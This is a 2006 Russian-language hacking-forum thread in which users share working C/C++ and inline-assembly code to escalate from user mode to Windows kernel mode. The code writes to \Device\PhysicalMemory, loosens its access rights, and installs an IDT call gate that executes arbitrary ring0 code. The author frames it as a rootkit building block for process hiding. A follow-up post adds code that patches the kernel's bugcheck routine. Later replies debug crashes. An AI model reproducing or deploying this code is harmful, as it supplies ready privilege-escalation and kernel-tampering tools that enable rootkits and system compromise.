Штурм режима ядра

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by sn0w, 5 Dec 2006.

  1. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,296
    Reputations:
    327
    Итак, заморочался давеча и решил выложить такую няму, как прямой переход в режим ядра NT и вызов ядерных функций (твой руткит в твоем exe ;)). В данном случае для прорыва в ring0 используется методика калгейта. В примере мы сначала ловим адрес ntoskrnl из ring3 режима, затем переходим в ring0 и начинаем сканировать образ ntoskrnl на предмет экспортов. Из юзер мода эт кстати невозможно. Находим ExAllocatePoolWithTag и вызываем ее (память выделяет короче, и возвращает указатель на выделенный участок) после чего возвращаемся в ring3 и демонстрируем юзеру за счет MessageBox'a плод наших трудов. Сей пример мягко говоря намекает на то что такие фичи как скрытие процесса (что реализовалось при помощи драйверов) терь возможно и без них...

    -------------------------------
    main.cpp
    -------------------------------
    #include <windows.h>

    int __cdecl ring0_execute(LPVOID lpKernelProc);
    DWORD ring0_GetKernelBase();

    DWORD g_KernBase;
    DWORD g_Address;
    DWORD g_Mem;

    PVOID R0_GetProcAddress(PCHAR pFunctionName)
    {
    PVOID pFunctionAddress = NULL;
    PVOID ModuleBase = (PVOID)g_KernBase;

    __try{
    PIMAGE_DOS_HEADER dos =(PIMAGE_DOS_HEADER) ModuleBase;
    PIMAGE_NT_HEADERS nt =(PIMAGE_NT_HEADERS)((ULONG) ModuleBase + dos->e_lfanew);

    PIMAGE_DATA_DIRECTORY expdir = (PIMAGE_DATA_DIRECTORY)
    (nt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT);
    ULONG size = expdir->Size;
    ULONG addr = expdir->VirtualAddress;

    PIMAGE_EXPORT_DIRECTORY exports =(PIMAGE_EXPORT_DIRECTORY)((ULONG) ModuleBase + addr);

    PULONG functions =(PULONG)((ULONG) ModuleBase + exports->AddressOfFunctions);
    PSHORT ordinals =(PSHORT)((ULONG) ModuleBase + exports->AddressOfNameOrdinals);
    PULONG names =(PULONG)((ULONG) ModuleBase + exports->AddressOfNames);
    ULONG max_name =exports->NumberOfNames;
    ULONG max_func =exports->NumberOfFunctions;

    ULONG i;

    for (i = 0; i < max_name; i++){
    ULONG ord = ordinals;
    if(i >= max_name || ord >= max_func){
    return NULL;
    }
    if (functions[ord] < addr || functions[ord] >= addr + size){
    if (strcmp((PCHAR) ModuleBase + names, pFunctionName) == 0){
    pFunctionAddress =(PVOID)((PCHAR) ModuleBase + functions[ord]);
    break;
    }
    }
    }
    }
    __except(EXCEPTION_EXECUTE_HANDLER){
    pFunctionAddress = NULL;
    }
    return pFunctionAddress;
    }


    //
    // WARNING! This routine should be executed in KERNEL MODE ONLY
    //
    void R0_DISCOVER_AND_EXECUTE()
    {

    g_Address = (DWORD)R0_GetProcAddress("ExAllocatePoolWithTag");


    __asm{ // вызываем ExAllocatePoolWithTag - выделяем 100байт памяти ядра
    push eax
    mov eax, g_Address
    push 0x12345678
    push 0x64
    push 0x1
    call eax
    mov g_Mem, eax
    pop eax
    }

    }

    int WINAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int)
    {
    char s_buff[256];

    g_KernBase = ring0_GetKernelBase();
    if(!g_KernBase){
    MessageBox(0, "Couldn\'t discover kernel base address", "Error", MB_OK|MB_ICONWARNING);
    return 0;
    }

    ring0_execute(R0_DISCOVER_AND_EXECUTE);

    wsprintf(s_buff, "Execute complete. ExAllocatePoolWithTag address: 0x%.8X, allocated memory address: 0x%.8X", g_Address, g_Mem);
    MessageBox(0, s_buff, "Done", MB_OK|MB_ICONWARNING);

    return 0;
    }



    -------------------------
    ring0.cpp (калгейт)
    -------------------------

    /*
    * terazin-b by sn0w [at antichat dot ru]
    * (c) leaders of antichat team, 2006
    *
    * greetz: zaco skvoznoy kez
    *
    */

    /*
    * ring0.cpp - kernel mode code execution engine
    *
    */

    #include <windows.h>
    #include <aclapi.h>

    #define INTNUMBER 0F0h
    #define SE_KERNEL_OBJECT 6
    #define OBJ_CASE_INSENSITIVE 0x00000040L
    #define OBJ_KERNEL_HANDLE 0x00000200L

    #define INIT_UNICODE(_var,_buffer) \
    UNICODE_STRING _var = { \
    sizeof (_buffer) - sizeof (WORD), \
    sizeof (_buffer), \
    _buffer }

    #define InitializeObjectAttributes( p, n, a, r, s ) { \
    (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
    (p)->RootDirectory = r; \
    (p)->Attributes = a; \
    (p)->ObjectName = n; \
    (p)->SecurityDescriptor = s; \
    (p)->SecurityQualityOfService = NULL; \
    }

    typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
    } UNICODE_STRING, *PUNICODE_STRING;

    typedef struct _OBJECT_ATTRIBUTES {
    ULONG Length;
    HANDLE RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;
    PVOID SecurityQualityOfService;
    } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

    typedef (__stdcall *_NtOpenSection)(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, PVOID ObjectAttributes);

    //
    // Kernel Mode Execution routine
    //
    // return values: 0 - failed to execute, 1 - execute success
    // NOTE: when a function fails you can attempt to recall it.
    //
    // WARNING! when you want to modify functional code you must
    // take your attention on automatic variables inside body.
    // default stack restore is /add esp, 60h/
    //
    //
    int __cdecl ring0_execute(LPVOID lpKernelProc)
    {
    _NtOpenSection NtOpenSection = (_NtOpenSection)GetProcAddress(GetModuleHandle("ntdll.dll"),"NtOpenSection");
    OBJECT_ATTRIBUTES ObAttributes;
    EXPLICIT_ACCESS Access;
    HANDLE hSection;
    LPVOID pbMap;
    PACL OldDacl=NULL, NewDacl=NULL;
    PSECURITY_DESCRIPTOR SecDesc=NULL;

    INIT_UNICODE(ObString, L"\\Device\\PhysicalMemory");

    InitializeObjectAttributes(&ObAttributes,&ObString,OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,NULL,NULL);

    Access.grfAccessPermissions = SECTION_MAP_WRITE;
    Access.grfAccessMode = GRANT_ACCESS;
    Access.grfInheritance = NO_INHERITANCE;
    Access.Trustee.MultipleTrusteeOperation = NO_MULTIPLE_TRUSTEE;
    Access.Trustee.pMultipleTrustee = NULL;
    Access.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
    Access.Trustee.TrusteeType = TRUSTEE_IS_USER;
    Access.Trustee.ptstrName = "CURRENT_USER";

    if(NtOpenSection(&hSection,SECTION_MAP_READ|SECTION_MAP_WRITE,&ObAttributes)==-1)
    goto hook_interrupt;

    NtOpenSection(&hSection,MEM_MAPPED|MEM_PRIVATE,&ObAttributes);
    GetSecurityInfo(hSection,(SE_OBJECT_TYPE)SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,0,0,&OldDacl,0,&SecDesc);
    SetEntriesInAcl(1, &Access, OldDacl, &NewDacl);
    SetSecurityInfo(hSection, (SE_OBJECT_TYPE)SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,NewDacl,NULL);
    CloseHandle(hSection);
    NtOpenSection(&hSection,SECTION_MAP_READ|SECTION_MAP_WRITE,&ObAttributes);


    __asm {
    hook_interrupt:
    push eax
    sidt fword ptr [esp - 2]
    pop esi
    btr esi, 1fh
    push 1
    push esi
    push 0
    push SECTION_MAP_WRITE
    push hSection
    call dword ptr ds:MapViewOfFile

    cmp eax, 0
    jnz map_ok
    push hSection
    call dword ptr ds:CloseHandle
    xor eax, eax
    add esp, 60h // stack restore
    ret
    map_ok:
    mov [pbMap], eax
    and esi, 0fffh
    lea esi, dword ptr [eax + esi + INTNUMBER * 8]
    fild qword ptr [esi]
    call skip_ring0
    // begin ring 0
    call lpKernelProc
    iretd
    // end ring 0
    skip_ring0:
    pop word ptr [esi]
    mov byte ptr [esi + 2], 8
    mov byte ptr [esi + 5], 0eeh
    pop word ptr [esi + 6]
    int INTNUMBER
    }

    UnmapViewOfFile(pbMap);
    CloseHandle(hSection);

    return 1;
    }



    //
    // some auxilary funcs
    //

    #define NTSTATUS LONG
    #define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
    #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
    #define DEF_KERNEL_BASE 0x80400000L
    #define SystemModuleInformation 11

    typedef struct _SYSTEM_MODULE_INFORMATION
    {
    ULONG Reserved[2];
    PVOID Base;
    ULONG Size;
    ULONG Flags;
    USHORT Index;
    USHORT Unknown;
    USHORT LoadCount;
    USHORT ModuleNameOffset;
    CHAR ImageName[256];
    } SYSTEM_MODULE_INFORMATION;


    DWORD ring0_GetKernelBase()
    {
    HANDLE hHeap = GetProcessHeap();

    NTSTATUS Status;
    ULONG cbBuffer = 0x8000;
    PVOID pBuffer = NULL;
    DWORD retVal = DEF_KERNEL_BASE;

    HMODULE hntdll = GetModuleHandle("ntdll.dll");

    NTSTATUS (WINAPI * _NtQuerySystemInformation)(UINT, PVOID, ULONG, PULONG);
    *(FARPROC *)&_NtQuerySystemInformation = GetProcAddress(hntdll, "ZwQuerySystemInformation");

    do
    {
    pBuffer = HeapAlloc(hHeap, 0, cbBuffer);
    if (pBuffer == NULL)
    return DEF_KERNEL_BASE;

    Status = _NtQuerySystemInformation(SystemModuleInformation,
    pBuffer, cbBuffer, NULL);

    if(Status == STATUS_INFO_LENGTH_MISMATCH)
    {
    HeapFree(hHeap, 0, pBuffer);
    cbBuffer *= 2;
    }
    else if(Status != STATUS_SUCCESS)
    {
    HeapFree(hHeap, 0, pBuffer);
    return DEF_KERNEL_BASE;
    }
    }
    while (Status == STATUS_INFO_LENGTH_MISMATCH);

    DWORD numEntries = *((DWORD *)pBuffer);
    SYSTEM_MODULE_INFORMATION *smi = (SYSTEM_MODULE_INFORMATION *)((char *)pBuffer + sizeof(DWORD));

    for(DWORD i = 0; i < numEntries; i++)
    {
    if(strcmpi(smi->ImageName, "ntoskrnl.exe"))
    {
    retVal = (DWORD)(smi->Base);
    break;
    }
    smi++;
    }

    HeapFree(hHeap, 0, pBuffer);
    return retVal;
    }



    ---------------
    усе. компилим вместе
    удачи на поприще))
     
    4 people like this.
  2. ProTeuS

    ProTeuS --

    Joined:
    26 Nov 2004
    Messages:
    1,239
    Likes Received:
    542
    Reputations:
    445
    поправь, если ошибаюсь, но не это ли у хогланда в прошлогодней книге в сорцах пе4аталось?
     
  3. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,296
    Reputations:
    327
    чел, я неуч, не читал этой темы реал) то что сделал то сделал)
     
  4. TaNkist

    TaNkist Elder - Старейшина

    Joined:
    6 Apr 2006
    Messages:
    147
    Likes Received:
    47
    Reputations:
    19
    Кстати на Windows2003 и Vist'е данный код работать не будет. т.к. там закрыли доступ к \\Device\\PhysicalMemory.
     
  5. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,296
    Reputations:
    327
    забыл кста отписать что под вынь 2к3 и висту не идет
     
    1 person likes this.
  6. KSURi

    KSURi tnega AOLPS

    Joined:
    6 Jun 2006
    Messages:
    458
    Likes Received:
    219
    Reputations:
    357
    Переход в ring0 через callgate довольно подробно описан Горлумом в прошлогоднем декабрьском Х
     
  7. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    нихрена не подробно и вообще там пример галимый.

    я собирался написать такую хрень, но все никак не было времени разобраться с переходом в ring 0.
    sn0w, respect :)
     
  8. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    Я доэкспериментировался )

    Кстати, а обработка исключений не предусмотрена чтоли при использовании call gate'ов?

    Code:
    __try {
      __asm {
        xor eax,eax
        mov [eax],eax
      }
    }
    __except(EXCEPTION_EXECUTE_HANDLER)
    {
    }
    система уходит в полный даун, хотя по идее не должна :)
     
  9. ProTeuS

    ProTeuS --

    Joined:
    26 Nov 2004
    Messages:
    1,239
    Likes Received:
    542
    Reputations:
    445
    горлум, если вы еще не поняли, пи*ид все у руссинови4а, рихтера и хогланда...
     
  10. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,296
    Reputations:
    327

    )))))))) как ни странно, первый ядерный код который запустил на калгейте был такой же))) потом правд всякую муть делал типа килл кмос итд)
     
  11. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,296
    Reputations:
    327
    2Proteus: прикинь чувак, Руссинович терь на мелкомягких хостится) В принципе иначе случиться и не могло)
     
  12. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    А все таки, это меня плюсчит или там обработки исключений нет?))
     
  13. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    на вмваре выскакивает driver_irql_not_less_or_equal
    интересно отчего. походу я там чето намутил, хотя... irql я не трогал
     
  14. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,296
    Reputations:
    327
    ес не срабатывает видимо есть на то предпосылки, сижу с сайсом смотрю)
     
    2 people like this.
  15. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    у меня сайса нету на вмваре, ставить влом+)
    но на реальном компе все работает.

    Правда, под вмварей пришлось слегка изменить код маппинга секции, потому что там косяк какой-то был). Я пропатчил, калгейт вызывается нормально, но, видимо, при вызове ExAllocateWithPoolTag слетает винда. Почему-то irql выше, чем надо. Надо бы разобраться, конечно.. а может просто впихнуть KeLowerIrql? +)

    Насколько я понял, у кода в режиме ядра с какого-то хрена стоит IRQL выше или равен DPC/Dispatch, на котором доступа только неподкачиваемая память, а ExAllocatePoolWithTag пытается выделить подкачиваемую память. Может просто снизить IRQL до APC или Passive?
     
    #15 _Great_, 6 Dec 2006
    Last edited: 6 Dec 2006
  16. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    Хм.. у тебя первый аргумент к ExAllocatePoolWithTag был равен 1 (подкачиваемый пул) - я сменил на 0 (неподкачиваемый пул) и все равно BSoD :)

    updated: Попытка вызова KeGetCurrentIrql закончилась BSoD'ом с багчеком 8E :)

    updated2: fuck :(
    #define KERNEL_MODE_EXCEPTION_NOT_HANDLED ((ULONG)0x0000008EL)

    updated3: поставил __try/__except, исключение перехватывается +)
    Однако все равно вылетает driver_irql_not_less_or_equal
    Видимо, что-то не то происходит не при выделении памяти... а наверное при возврате из прерывания
     
    #16 _Great_, 6 Dec 2006
    Last edited: 6 Dec 2006
  17. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    Вообщем-то итог расследования - в вмваре вылетает БСоД при вызове R0_GetProcAddress с bugcheck-кодом DRIVER_IRQL_NOT_LESS_OR_EQUAL
    [​IMG]
    Только я не секу, где в этой функции что-либо, что использует IRQL хоть как-нибудь.. там только арифметические операции по поиску экспорта ядра и функции в ней.
    Правда, там есть вызов strcmp... может в нем дело.. попробую переписать, чтобы не юзать сишний рантайм
     
    #17 _Great_, 6 Dec 2006
    Last edited: 6 Dec 2006
  18. ProTeuS

    ProTeuS --

    Joined:
    26 Nov 2004
    Messages:
    1,239
    Likes Received:
    542
    Reputations:
    445
    >>2Proteus: прикинь чувак, Руссинович терь на мелкомягких хостится) В принципе иначе случиться и не могло)
    ога, была новость...
    продался )
     
  19. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    уря, все работает =)

    повторил подвиг криса касперски и написал программулину, которая лочит KeBugCheck и KeBugCheckEx, просто делая ret.
    После явного вызова KeBugCheckEx процесс продолжает выполняться.
    При исключении поток виснет в ринг 0, но винда все равно продолжает относительно стабильно работать.

    Кому интересно - вот код.
    Программа при первом запуске ставит блокировку на KeBugCheckEx (записывает просто RET по адресу точки входа, хотя там слегка сложнее. KeBugCheckEx & KeBugCheck вызывают спец. внутреннюю функцию, которая и выполняет всю работу. Вот лок ставится именно на нее, чтобы вызовы и KeBugCheckEx и KeBugCheck и прямые вызовы этой функции шли лесом), при втором вызывает явно KeBugCheckEx и выводит в окошке результат:
    Code:
    int flag=-1;
    DWORD bugcheck=0;
    
    //
    // WARNING! This routine should be executed in KERNEL MODE ONLY
    //
    void R0_DISCOVER_AND_EXECUTE()
    {
    	__try
    	{
    		bugcheck = (DWORD)R0_GetProcAddress("KeBugCheckEx");
    		g_Address = (bugcheck + 0x1B) + *(DWORD*) (bugcheck + 0x17);
    
    #define OPCODE 0x000018C2
    		// Is hook already set?
    		if(*(DWORD*)g_Address == OPCODE) // yes, hook is already set
    		{
    			__asm
    			{
    				push 4
    				push 3
    				push 2
    				push 1
    				push 0x2e
    				mov eax, bugcheck
    				call eax
    			}
    			flag = 0;
    			return;
    		}
    
    		// Hook is not set, set it now!
    		*(DWORD*)g_Address = OPCODE; // RETN 18h
    		
    		flag = 1;
    	}
    	__except(EXCEPTION_EXECUTE_HANDLER)
    	{
    		flag = -1;
    	}
    }
    
    int WINAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int)
    {
    	g_KernBase = ring0_GetKernelBase();
    	if(!g_KernBase)
    		return MessageBox(0, "Couldn't discover kernel base address", "Error", MB_OK|MB_ICONWARNING);
    
    	ring0_execute(R0_DISCOVER_AND_EXECUTE);
    	switch(flag)
    	{
    	case -1:
    		return MessageBox(0, "ring0 function failed because of exception", 0, MB_ICONERROR);
    	case 1:
    		return MessageBox(0, "Hook set successfully", "Done", MB_ICONINFORMATION);
    	case 0:
    		return MessageBox(0, "KeBugCheckEx call passed successfully!", "It works =)", MB_ICONINFORMATION);
    	}
    
    	return 0;
    }
    остальной код R0_GetProcAddress и код ring0.c взять у автора
     
    #19 _Great_, 6 Dec 2006
    Last edited: 6 Dec 2006
    2 people like this.
  20. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    Сегодня ковырял этот код и обнаружил, что запись из Idt потом не снимается )
    То есть если после завершения программы запустить отдельно Int F0, то получим синий экран Page_fault_in_nonpaged_area, чего и следовало ожидать.
    Как снять из Idt запись, просто забить нулями?